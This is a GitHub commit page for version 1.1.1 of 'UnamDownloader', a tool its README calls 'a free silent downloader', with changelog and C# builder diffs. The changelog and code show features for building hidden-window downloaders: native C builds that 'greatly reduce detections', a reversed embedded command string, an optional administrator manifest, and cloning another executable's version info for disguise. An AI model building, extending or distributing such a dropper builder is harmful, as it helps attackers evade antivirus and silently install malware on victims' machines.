Skip to content

Commit

Permalink
Updated to v1.1.1
Browse files Browse the repository at this point in the history
* Fixed bug when building native files to another directory than the builder location
* Added the builder location as the standard save location to make it easier to navigate
  • Loading branch information
UnamSanctam committed Aug 15, 2021
1 parent b37c934 commit f645e62
Show file tree
Hide file tree
Showing 6 changed files with 16 additions and 6 deletions.
3 changes: 3 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
@@ -1,3 +1,6 @@
### v1.1.1 (15/08/2021)
* Fixed bug when building native files to another directory than the builder location
* Added the builder location as the standard save location to make it easier to navigate
### v1.1.0 (14/08/2021)
* Added option to build the downloader as a native C file, greatly reduces detections
* Added a TinyCC compiler for native C builds
Expand Down
5 changes: 4 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@

<img src="https://github.com/UnamSanctam/UnamDownloader/blob/master/UnamDownloader.png?raw=true">

# UnamDownloader 1.1.0 - A free silent downloader
# UnamDownloader 1.1.1 - A free silent downloader

## Main Features

Expand All @@ -21,6 +21,9 @@ Pre-Compiled: https://github.com/UnamSanctam/UnamDownloader/releases

## Changelog

### v1.1.1 (15/08/2021)
* Fixed bug when building native files to another directory than the builder location
* Added the builder location as the standard save location to make it easier to navigate
### v1.1.0 (14/08/2021)
* Added option to build the downloader as a native C file, greatly reduces detections
* Added a TinyCC compiler for native C builds
Expand Down
4 changes: 2 additions & 2 deletions UnamDownloader/Builder.Designer.cs

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

6 changes: 4 additions & 2 deletions UnamDownloader/Builder.cs
Original file line number Diff line number Diff line change
Expand Up @@ -102,9 +102,10 @@ public void NativeCompiler(string savePath)
System.IO.File.WriteAllText(Path.Combine(currentDirectory, filename), Properties.Resources.Program1.Replace("#COMMAND", ReverseString("cmd " + CreateCommand())));
Process.Start(new ProcessStartInfo
{
FileName = Path.Combine(currentDirectory, "tinycc/tcc"),
FileName = Path.Combine(currentDirectory, "tinycc\\tcc.exe"),
Arguments = "-Wall -Wl,-subsystem=windows \"" + filename + "\" " + (checkAdmin.Checked ? "manifest.o" : "") + " -luser32",
WindowStyle = ProcessWindowStyle.Hidden,
WorkingDirectory = currentDirectory,
WindowStyle = ProcessWindowStyle.Hidden
}).WaitForExit();
System.IO.File.Delete(Path.Combine(currentDirectory, "manifest.o"));
System.IO.File.Delete(Path.Combine(currentDirectory, filename));
Expand Down Expand Up @@ -158,6 +159,7 @@ public string SaveDialog(string filter)
{
SaveFileDialog dialog = new SaveFileDialog();
dialog.Filter = filter;
dialog.InitialDirectory = Path.GetDirectoryName(System.Reflection.Assembly.GetEntryAssembly().Location);
if (dialog.ShowDialog() == DialogResult.OK)
{
return dialog.FileName;
Expand Down
2 changes: 1 addition & 1 deletion UnamDownloader/Resources/administrator.manifest-file
Original file line number Diff line number Diff line change
Expand Up @@ -7,4 +7,4 @@
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
</assembly>
2 changes: 2 additions & 0 deletions UnamDownloader/Vanity.cs
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
using System;
using System.Diagnostics;
using System.IO;
using System.Windows.Forms;

namespace UnamDownloader
Expand Down Expand Up @@ -42,6 +43,7 @@ private void btnAssemblyClone_Click(object sender, EventArgs e)
{
OpenFileDialog dialog = new OpenFileDialog();
dialog.Filter = "Exe Files (.exe)|*.exe|All Files (*.*)|*.*";
dialog.InitialDirectory = Path.GetDirectoryName(System.Reflection.Assembly.GetEntryAssembly().Location);
if (dialog.ShowDialog() == DialogResult.OK)
{
FileVersionInfo cloneInfo = FileVersionInfo.GetVersionInfo(dialog.FileName);
Expand Down

0 comments on commit f645e62

Please sign in to comment.